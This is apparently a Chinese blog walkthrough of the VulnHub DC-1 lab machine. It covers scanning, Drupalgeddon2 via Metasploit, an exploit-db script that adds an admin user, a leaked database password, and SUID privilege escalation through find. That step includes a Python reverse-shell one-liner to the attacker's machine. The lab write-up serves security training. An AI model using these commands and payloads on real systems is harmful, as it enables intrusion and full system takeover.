vulnhub靶机实战:DC-1
0x00 环境搭建
靶机下载地址:https://www.five86.com/dc-1.html
网络配置:我这里都使用桥接模式,为的是方便用物理机的一些工具对靶机进行渗透,kali虚拟机同样也可以进行渗透。
kali:192.168.1.104
物理机:192.168.1.103
DC-1:192.168.1.105
0x01 渗透过程
一、扫描:
1.获取IP
首先使用netdiscover或者nmap扫描,发现靶机的IP地址。这里我使用了netdiscover:
netdiscover -r 192.168.1.0/24
由此得到:靶机的IP地址是:192.168.1.105
2.扫描开放端口及服务信息
nmap 192.168.1.105 -A -oN dc-1.txt
输出的dc-1.txt如下:
# Nmap 7.80 scan initiated Wed Jan 13 00:03:38 2021 as: nmap -A -oN dc1.txt 192.168.1.105 Nmap scan report for 192.168.1.105 Host is up (0.00041s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 33255/udp6 status | 100024 1 47293/udp status | 100024 1 57115/tcp6 status |_ 100024 1 57588/tcp status MAC Address: 00:0C:29:30:B7:60 (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.41 ms 192.168.1.105 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 13 00:03:49 2021 -- 1 IP address (1 host up) scanned in 11.16 seconds
3.web渗透,发现cms版本
4.利用msf直接getshell
先在msf中搜索drupal:
经过尝试,可以使用第4个模块:
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.1.105
run
操作结果如下:
getshell:
输入ls命令发现
接下来:
cat flag1.txt
5.为了方便,先获取一个交互式的shell
在shell中运行一下代码:
python -c 'import pty; pty.spawn("/bin/bash")'
6.根据flag1提示,寻找flag2
据flag1提示,获取配置文件:/sites/default/settings.php,找到flag2提示:
也找到数据库信息:
7.获取flag3
根据flag2提示,使用mysql -u dbuser -p,输入密码R0ck3t登陆。
查看数据库和表:
show databases;
use drupaldb;
show tables;
找到users表,并查看users表的所有列及其值:
select * from users;
尝试爆破admin的密码,在这里,我使用了hashid和hash‐identifier都无法识别出该hash加密类型。于是去exploitdb看看有没有攻击脚本.
在这里找相应的:/usr/share/exploitdb/exploits/
运行以下命令:
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.105 -u admin1 -p admin1
接下来在浏览器浏览http://192.168.1.105/,使用admin1/admin1。然后在content下找到flag3。
8.获取flag4
根据flag4,应该要查看shadow文件,并使用SUID命令提权。关于SUID和SGID的相关知识看这位大佬的链接:https://www.cnblogs.com/fhefh/archive/2011/09/20/2182155.html
在这里,使用以下命令都可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
在这里,我们找一个命令进行利用,这里使用find命令,先查看其信息,发现其确实是root用户权限的SUID的文件:
先看一下是否能用find命令以root权限运行,下面的INSTALL.txt换成事实存在的文件都可以,发现确实可以以root权限运行:
/usr/bin/find INSTALL.txt -exec whoami \;
接下来查看是否有Python环境,发现是python2.7.3:
于是用root用户的身份利用Python反弹shell:
/usr/bin/find INSTALL.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.104",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
在此之前,先用nc侦听4444端口:
接下来再输入反弹shell,nc侦听结果如下:
成功提权。
直接使用find命令查找flag4.txt,并查看:
9.获取flag5
根据flag4的提示,用相同的方法寻找下一个flag。在这里使用模糊查找,并保存为一个txt文件,方便过后查找操作。
find / -name '*txt' > re.txt
接下来cat一下re.txt查找flag关键字:
cat re.txt | grep flag
找到flag5:thefinalflag.txt,cat一下看一下内容,做一个形式:
成功。
欢迎各位师傅指正~